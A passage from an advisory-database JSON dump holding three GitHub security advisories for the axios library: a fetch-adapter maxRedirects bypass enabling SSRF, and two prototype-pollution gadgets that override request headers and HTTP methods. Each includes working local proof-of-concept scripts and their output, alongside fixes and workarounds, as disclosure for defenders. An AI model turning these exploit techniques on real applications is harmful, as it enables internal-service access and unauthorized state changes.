adapter: ['fetch'] })`\n\n## PoC\n\n```js\nimport http from 'http';\nimport axios from './index.js';\n\n// Server A: the \"trusted\" external target, issues open redirects to Server B\nconst serverA = http.createServer((req, res) =\u003e {\n  if (req.url === '/api/data') {\n    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });\n    return res.end();\n  }\n  if (req.url === '/api/change-config') {\n    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });\n    return res.end();\n  }\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end(JSON.stringify({ ok: true }));\n});\n\nlet internalHits = 0;\nlet internalConfig = {};\n\n// Server B: the \"internal\" service, should be unreachable from the application\nconst serverB = http.createServer(async (req, res) =\u003e {\n  internalHits++;\n\n  if (req.url === '/internal/secrets') {\n    res.writeHead(200, { 'Content-Type': 'application/json' });\n    return res.end(JSON.stringify({\n      secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',\n      role:   'arn:aws:iam::000000000000:role/FakeProductionRole',\n    }));\n  }\n\n  if (req.url === '/internal/admin/config') {\n    internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };\n    res.writeHead(200, { 'Content-Type': 'application/json' });\n    return res.end(JSON.stringify({\n      reached: 'state-changing internal admin endpoint',\n      changed: true,\n      internalConfig,\n    }));\n  }\n\n  res.writeHead(404);\n  res.end();\n});\n\nawait Promise.all([\n  new Promise((resolve, reject) =\u003e { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),\n  new Promise((resolve, reject) =\u003e { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),\n]);\n\nconst targetUrl    = 'http://127.0.0.1:13801/api/data';\nconst changeUrl    = 'http://127.0.0.1:13801/api/change-config';\nconst internalUrl  = 'http://127.0.0.1:13802/internal/secrets';\nconst internalCfg  = 'http://127.0.0.1:13802/internal/admin/config';\n\nconsole.log('Axios maxRedirects bypass via fetch adapter PoC');\nconsole.log(`axios VERSION=${axios.VERSION}`);\nconsole.log(`maxRedirects=0`);\nconsole.log(`Target URL=${targetUrl}`);\nconsole.log(`  redirects to ${internalUrl}`);\nconsole.log(`Change URL=${changeUrl}`);\nconsole.log(`  redirects to ${internalCfg}`);\nconsole.log('');\n\n// CONTROL: HTTP adapter correctly enforces maxRedirects: 0\nlet httpBlocked = false;\ntry {\n  await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });\n  console.log('[CONTROL]  HTTP adapter + maxRedirects:0  BUG: should have thrown');\n} catch (err) {\n  httpBlocked = true;\n  console.log(`[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (${err.code ?? err.message})`);\n}\nconsole.log(`[CONTROL]  Internal hits after HTTP adapter: ${internalHits}`);\n\n// BYPASS: Fetch adapter silently ignores maxRedirects: 0\nlet fetchResponse = null;\ntry {\n  fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });\n  console.log('[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded ✗');\n  console.log('           Response:', JSON.stringify(fetchResponse.data));\n} catch (err) {\n  console.log('[BYPASS]   Fetch adapter + maxRedirects:0  redirect blocked (unexpected):', err.message);\n}\nconsole.log(`[BYPASS]   Internal hits after fetch adapter: ${internalHits}`);\n\n// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint\nlet changedResponse = null;\ntry {\n  changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });\n  console.log('[BYPASS]   Fetch adapter state change:', JSON.stringify(changedResponse.data));\n  console.log(`[BYPASS]   Internal hits after state change: ${internalHits}`);\n} catch (err) {\n  console.log('[BYPASS]   State change request blocked (unexpected):', err.message);\n}\n\n\nconsole.log('');\n\nif (httpBlocked \u0026\u0026 fetchResponse \u0026\u0026 changedResponse) {\n  console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,');\n  console.log('            reaching internal service and mutating internal state.');\n} else if (httpBlocked \u0026\u0026 fetchResponse) {\n  console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,');\n  console.log('            reaching internal service that should have been unreachable.');\n} else if (!httpBlocked) {\n  console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.');\n} else {\n  console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.');\n}\n\nserverA.close();\nserverB.close();\n```\n\nRun:\n\n```bash\nnode poc-max-redirects.mjs\n```\n\nObserved:\n\n```text\nAxios maxRedirects bypass via fetch adapter PoC\naxios VERSION=1.17.0\nmaxRedirects=0\nTarget URL=http://127.0.0.1:13801/api/data\n  redirects to http://127.0.0.1:13802/internal/secrets\nChange URL=http://127.0.0.1:13801/api/change-config\n  redirects to http://127.0.0.1:13802/internal/admin/config\n\n[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (ERR_BAD_RESPONSE)\n[CONTROL]  Internal hits after HTTP adapter: 0\n[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded ✗\n           Response: {\"secret\":\"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY\",\"role\":\"arn:aws:iam::000000000000:role/FakeProductionRole\"}\n[BYPASS]   Internal hits after fetch adapter: 1\n[BYPASS]   Fetch adapter state change: {\"reached\":\"state-changing internal admin endpoint\",\"changed\":true,\"internalConfig\":{\"compromised\":true,\"source\":\"redirect-followed-by-fetch-adapter\"}}\n[BYPASS]   Internal hits after state change: 2\n\nPOC RESULT: fetch adapter followed redirects despite maxRedirects:0,\n            reaching internal service and mutating internal state.\n```\n\n## Control\n\nAxios does correctly enforce `maxRedirects: 0` in the HTTP adapter. The `[CONTROL]` case above confirms this: the same request with `adapter: 'http'` throws rather than following the redirect, and the internal hit counter stays at `0`:\n\n```text\n[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (ERR_BAD_RESPONSE)\n[CONTROL]  Internal hits after HTTP adapter: 0\n```\n\nThe issue is not that `maxRedirects` is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no `redirect` constraint to the underlying `fetch()` call.\n\n## Impact\n\nThis is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active.\n\nThe internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that `maxRedirects: 0` is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime.\n\nThe impact is environment- and configuration-dependent. It affects axios users who:\n\n- Set `maxRedirects: 0` as a defense against redirect-based SSRF, and\n- Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration\n\nIn these cases, a `302` redirect from the initial target is followed silently by default, unless the caller separately sets `fetchOptions.redirect`. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that `maxRedirects` was not honoured. The failure is silent: no error is thrown, no warning is logged.\n\nThe bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue.\n\nPotentially affected environments include:\n\n- Deno and Bun applications using axios where the fetch adapter is the default.\n- Cloudflare Workers using axios, which has no Node.js `http` module.\n- Node.js applications that explicitly configure `adapter: 'fetch'` or a custom adapter list that resolves to fetch.\n- Any application that conditionally sets `maxRedirects: 0` and runs across multiple environments with different adapter selection.\n\nInternal services reachable via a redirect include cloud instance metadata endpoints (`169.254.169.254`), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application's network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: `0` after the HTTP control, `1` after the confidentiality bypass, `2` after the integrity bypass.\n\nThis should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that `maxRedirects: 0`, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-30T15:31:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh","https://nvd.nist.gov/vuln/detail/CVE-2026-101907","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-r4gj-5m52-g5wh"],"source_kind":"github","identifiers":["GHSA-r4gj-5m52-g5wh","CVE-2026-101907"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":0.00414,"epss_percentile":0.33172,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNGdqLTVtNTItZzV3aM4AB7Nc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNGdqLTVtNTItZzV3aM4AB7Nc","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.17.0, \u003c 1.20.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNGdqLTVtNTItZzV3aM4AB7Nc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12aDY2LTI2Z3EtcTZ4OM4AB7Kx","url":"https://github.com/advisories/GHSA-vh66-26gq-q6x8","title":"Axios: Prototype pollution gadget in fetch adapter can alter outbound requests","description":"## Summary\n\nAxios fetch adapter requests can be altered by inherited properties on `fetchOptions`. The adapter resolves method, headers, body, signal, and credentials into `resolvedOptions`, creates a `Request`, and then calls `fetch(request, fetchOptions)` instead of `fetch(request, resolvedOptions)`. In runtimes such as Node's undici-backed fetch, inherited `fetchOptions.headers` can override the headers already placed on the `Request`.\n\nAxios does not create the prototype pollution source. This is a read-side gadget that becomes exploitable after same-process prototype pollution.\n\n## Impact\n\nAn attacker with a prior prototype-pollution primitive can cause affected fetch-adapter requests to send attacker-controlled headers and drop caller-specified headers. This can affect authorization, cache behavior, metadata-service interactions, or application-specific header-based controls.\n\nThe issue is specific to fetch-adapter behavior and does not affect Node HTTP adapter requests.\n\n## Affected Functionality\n\nAffected:\n\n- `adapter: 'fetch'`.\n- Runtime environments where the fetch adapter is selected.\n- Requests where `fetchOptions` is an object that does not have safe own values for sensitive fetch init fields.\n\nNot affected:\n\n- Node HTTP adapter.\n- Requests that do not use the fetch adapter.\n- Processes where `Object.prototype` is not polluted.\n\n## Technical Details\n\n`lib/adapters/fetch.js` builds:\n\n```js\nconst resolvedOptions = {\n  ...fetchOptions,\n  signal: composedSignal,\n  method: method.toUpperCase(),\n  headers: toByteStringHeaderObject(headers.normalize()),\n  body: data,\n  duplex: 'half',\n  credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n\nrequest = isRequestSupported \u0026\u0026 new Request(url, resolvedOptions);\n\nlet response = await (isRequestSupported\n  ? _fetch(request, fetchOptions)\n  : _fetch(url, resolvedOptions));\n```\n\nThe fallback path without `Request` uses `resolvedOptions`, but the `Request` path passes the original `fetchOptions` as the second argument to `fetch()`. That second argument can contain inherited properties from `Object.prototype`.\n\nLocal verification on axios `1.18.1` set `Object.prototype.headers = { Authorization: 'Bearer POLLUTED' }` and called the fetch adapter with `headers: { 'X-Good': 'yes' }, fetchOptions: {}`. The loopback server received `Authorization: Bearer POLLUTED` and did not receive `X-Good`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.headers = { Authorization: 'Bearer POLLUTED' };\ntry {\n  await axios.get(url, {\n    adapter: 'fetch',\n    headers: { 'X-Good': 'yes' },\n    fetchOptions: {}\n  });\n} finally {\n  delete Object.prototype.headers;\n}\n```\n\nExpected safe behavior is that the sanitized axios headers remain in force. Current behavior can use the inherited fetch init headers instead.\n\n## Workarounds\n\nUse the Node HTTP adapter for security-sensitive server-side requests until fixed. If the fetch adapter must be used, avoid passing empty `fetchOptions` objects in processes where prototype pollution is possible, and set explicit safe own values for fetch init fields.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \nHello, I’m not completely sure if this is something you’d consider a security issue, since it depends on prototype pollution happening somewhere else first, but I wanted to report it just in case.\n\nI was testing the fetch adapter with polluted prototype values and found that `Object.prototype.headers` can change the request axios sends.\n\nThe issue seems to be in `lib/adapters/fetch.js`. Axios creates a `Request` with the resolved headers/method/body, but then sends it with `fetch(request, fetchOptions)`. With undici, if `fetchOptions` doesn’t have its own headers, an inherited `Object.prototype.headers` value can be used during the final fetch call.\n\nI tested it with this:\n\n```js\nimport http from 'node:http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) =\u003e {\n  res.end(JSON.stringify({\n    authorization: req.headers.authorization || null,\n    xGood: req.headers['x-good'] || null\n  }));\n});\n\nawait new Promise(resolve =\u003e server.listen(0, '127.0.0.1', resolve));\nconst { port } = server.address();\n\nObject.prototype.headers = {\n  Authorization: 'Bearer POLLUTED'\n};\n\ntry {\n  const res = await axios.get(`http://127.0.0.1:${port}/`, {\n    adapter: 'fetch',\n    headers: { 'X-Good': 'yes' },\n    fetchOptions: {}\n  });\n\n  console.log(res.data);\n} finally {\n  delete Object.prototype.headers;\n  server.close();\n}\n```\n\nThe result I get is:\n\n```json\n{\n  \"authorization\": \"Bearer POLLUTED\",\n  \"xGood\": null\n}\n```\n\nSo the polluted Authorization header is sent, and the normal axios header is not.\n\nChanging the fetch call to pass the already resolved options fixes it for me:\n\n```diff\n- _fetch(request, fetchOptions)\n+ _fetch(request, resolvedOptions)\n```\n\n`resolvedOptions` already includes `...fetchOptions`, so custom fetch options should still work, while headers, method, body, and signal stay as clean own values.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-30T15:13:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-vh66-26gq-q6x8","https://nvd.nist.gov/vuln/detail/CVE-2026-101908","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-vh66-26gq-q6x8"],"source_kind":"github","identifiers":["GHSA-vh66-26gq-q6x8","CVE-2026-101908"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":0.00413,"epss_percentile":0.33052,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12aDY2LTI2Z3EtcTZ4OM4AB7Kx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12aDY2LTI2Z3EtcTZ4OM4AB7Kx","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.7.0, \u003c 1.20.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12aDY2LTI2Z3EtcTZ4OM4AB7Kx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05ZnI2LTRnZmctMzk1Z84AB7Kw","url":"https://github.com/advisories/GHSA-9fr6-4gfg-395g","title":"Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method","description":"## Summary\n\nAxios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.\n\n## Impact\n\nIn an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.\n\nMethod aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path.\n\n## Affected Functionality\n\nAffected:\n\n- Default axios instance calls: `axios.request({ url })`.\n- Callable shorthand: `axios({ url })`.\n- Requests where no own `config.method` is provided.\n\nNot affected in the confirmed method PoC:\n\n- `axios.get(url)` and other method aliases.\n- `axios.request({ url, method: 'GET' })`.\n- `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`.\n\n## Technical Details\n\n`lib/core/Axios.js` sets the request method with:\n\n```js\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\n```\n\n`mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value.\n\nLocal verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = 'DELETE'`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.method = 'DELETE';\ntry {\n  await axios.request({ url: 'http://127.0.0.1:\u003cport\u003e/resource' });\n} finally {\n  delete Object.prototype.method;\n}\n```\n\nExpected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided.\n\n## Workarounds\n\nUse explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n### Summary\n\nAxios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`.\n\nAxios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior.\n\nThis should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process.\n\n### Details\n\nThe vulnerable fallback read is in `lib/core/Axios.js`:\n\n```js\n// Set config.allowAbsoluteUrls\nif (config.allowAbsoluteUrls !== undefined) {\n  // do nothing\n} else if (this.defaults.allowAbsoluteUrls !== undefined) {\n  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\n} else {\n  config.allowAbsoluteUrls = true;\n}\n\n// Set config.method\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\n```\n\nThe merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:\n\n```js\nconst config = Object.create(null);\n```\n\nTherefore, when the caller does not provide `config.method`, the fallback becomes:\n\n```js\nthis.defaults.method\n```\n\nThe default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method.\n\nThe same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`.\n\n### Proof of Concept\n\n#### Access and Attack Conditions\n\nNo admin access is required for Axios itself. This is a library-level gadget.\n\nThe attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.\n\nRequired condition:\n\n```text\nSome other bug or unsafe merge path in the application must allow Object.prototype pollution.\n```\n\nWhat Axios contributes:\n\n```text\nAxios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.\n```\n\nWhat Axios does not do:\n\n```text\nAxios does not create Object.prototype pollution by itself.\n```\n\nAffected usage:\n\n```js\naxios.request({ url });\naxios({ url });\n```\n\nNot affected in the confirmed PoC:\n\n```js\naxios.get(url);\naxios.request({ url, method: \"GET\" });\naxios.create().request({ url });\n```\n\n#### Reproduction Steps\n\n1. Create a clean test directory and install Axios `1.17.0`:\n\n```powershell\nmkdir axios-validation\ncd axios-validation\nnpm init -y\nnpm install axios@1.17.0 --no-audit --no-fund\n```\n\n2. Save the method override PoC below as:\n\n```text\nvalidate-prototype-method-gadget.mjs\n```\n\n3. Run the PoC:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\n4. Confirm that the output shows:\n\n```text\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\n5. This proves that after `Object.prototype.method = \"DELETE\"`, default-instance calls that omit an explicit method are sent as `DELETE`.\n\n#### What the Method PoC Script Does\n\nThe PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:\n\n```js\nObject.prototype.method = \"DELETE\";\n```\n\nWhile that pollution is active, the script sends five Axios requests:\n\n```js\naxios.request({ url });                 // expected vulnerable path\naxios({ url });                         // expected vulnerable shorthand path\naxios.get(url);                         // expected safe alias path\naxios.request({ url, method: \"GET\" });  // expected safe explicit-method path\naxios.create().request({ url });        // expected safe isolated-instance path\n```\n\nThe script then deletes the polluted property:\n\n```js\ndelete Object.prototype.method;\n```\n\nFinally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`.\n\n#### Method Override PoC\n\nCreate `validate-prototype-method-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n  await new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\n  return server.address().port;\n}\n\nasync function runRequest(label, requestFn) {\n  const hits = [];\n  const server = http.createServer((req, res) =\u003e {\n    hits.push({\n      method: req.method,\n      url: req.url,\n    });\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const port = await listen(server);\n  const url = `http://127.0.0.1:${port}/${label}`;\n\n  let status = \"completed\";\n  let error = \"\";\n  try {\n    await requestFn(url);\n  } catch (err) {\n    status = \"error\";\n    error = err?.message || String(err);\n  }\n\n  server.close();\n  return { label, status, error, hits };\n}\n\nconst results = [];\n\nObject.prototype.method = \"DELETE\";\ntry {\n  results.push(await runRequest(\"default-request-no-method\", (url) =\u003e axios.request({ url })));\n  results.push(await runRequest(\"default-shorthand-no-method\", (url) =\u003e axios({ url })));\n  results.push(await runRequest(\"default-get-alias\", (url) =\u003e axios.get(url)));\n  results.push(await runRequest(\"default-request-explicit-get\", (url) =\u003e axios.request({ url, method: \"GET\" })));\n\n  const instance = axios.create();\n  results.push(await runRequest(\"created-instance-request-no-method\", (url) =\u003e instance.request({ url })));\n} finally {\n  delete Object.prototype.method;\n}\n\nconst defaultRequestMethod = results.find((r) =\u003e r.label === \"default-request-no-method\")?.hits[0]?.method || \"\";\nconst defaultShorthandMethod = results.find((r) =\u003e r.label === \"default-shorthand-no-method\")?.hits[0]?.method || \"\";\nconst getAliasMethod = results.find((r) =\u003e r.label === \"default-get-alias\")?.hits[0]?.method || \"\";\nconst explicitGetMethod = results.find((r) =\u003e r.label === \"default-request-explicit-get\")?.hits[0]?.method || \"\";\nconst createdInstanceMethod = results.find((r) =\u003e r.label === \"created-instance-request-no-method\")?.hits[0]?.method || \"\";\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\nconsole.log(`defaultRequestMethod=${defaultRequestMethod}`);\nconsole.log(`defaultShorthandMethod=${defaultShorthandMethod}`);\nconsole.log(`getAliasMethod=${getAliasMethod}`);\nconsole.log(`explicitGetMethod=${explicitGetMethod}`);\nconsole.log(`createdInstanceMethod=${createdInstanceMethod}`);\n\nconst confirmed =\n  defaultRequestMethod === \"DELETE\" \u0026\u0026\n  defaultShorthandMethod === \"DELETE\" \u0026\u0026\n  getAliasMethod === \"GET\" \u0026\u0026\n  explicitGetMethod === \"GET\" \u0026\u0026\n  createdInstanceMethod === \"GET\";\n\nconsole.log(confirmed ? \"RESULT: CONFIRMED\" : \"RESULT: NOT CONFIRMED\");\nprocess.exitCode = confirmed ? 0 : 1;\n```\n\nRun:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\nThe local server received:\n\n```text\naxios.request({ url })              -\u003e DELETE\naxios({ url })                      -\u003e DELETE\naxios.get(url)                      -\u003e GET\naxios.request({ url, method:\"GET\" }) -\u003e GET\naxios.create().request({ url })     -\u003e GET\n```\n\nThis confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths.\n\n#### Supporting `allowAbsoluteUrls` Gadget Evidence\n\nThe same inherited-property issue affects `allowAbsoluteUrls`.\n\nCreate `validate-prototype-allowabsoluteurls-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n  await new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\n  return server.address().port;\n}\n\nasync function runCase(label, requestFn) {\n  const baseHits = [];\n  const absoluteHits = [];\n\n  const baseServer = http.createServer((req, res) =\u003e {\n    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n    res.end(\"base\");\n  });\n\n  const absoluteServer = http.createServer((req, res) =\u003e {\n    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n    res.end(\"absolute\");\n  });\n\n  const basePort = await listen(baseServer);\n  const absolutePort = await listen(absoluteServer);\n\n  try {\n    await requestFn({\n      baseURL: `http://127.0.0.1:${basePort}/api`,\n      url: `http://127.0.0.1:${absolutePort}/absolute-path`,\n    });\n  } catch {}\n\n  baseServer.close();\n  absoluteServer.close();\n\n  return { label, baseHits, absoluteHits };\n}\n\nconst results = [];\n\nresults.push(await runCase(\"baseline-no-pollution\", (config) =\u003e axios.request(config)));\n\nObject.prototype.allowAbsoluteUrls = false;\ntry {\n  results.push(await runCase(\"polluted-default-request\", (config) =\u003e axios.request(config)));\n  const instance = axios.create();\n  results.push(await runCase(\"polluted-created-instance\", (config) =\u003e instance.request(config)));\n} finally {\n  delete Object.prototype.allowAbsoluteUrls;\n}\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\nbaselineUsedAbsolute=true\npollutedDefaultUsedBase=true\npollutedInstanceUsedAbsolute=true\nRESULT: CONFIRMED\n```\n\nWithout pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected.\n\n### Impact\n\nThis is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process.\n\nIf such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:\n\n- `axios.request({ url })`\n- `axios({ url })`\n\nThis can turn an expected safe default `GET` request into a state-changing method such as:\n\n- `DELETE`\n- `POST`\n- `PUT`\n- `PATCH`\n\nPotential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.\n\nThe issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-30T15:12:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g","https://nvd.nist.gov/vuln/detail/CVE-2026-101902","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v0.34.0","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-9fr6-4gfg-395g"],"source_kind":"github","identifiers":["GHSA-9fr6-4gfg-395g","CVE-2026-101902"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":0.00413,"epss_percentile":0.33052,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ZnI2LTRnZmctMzk1Z84AB7Kw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05ZnI2LTRnZmctMzk1Z84AB7Kw","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u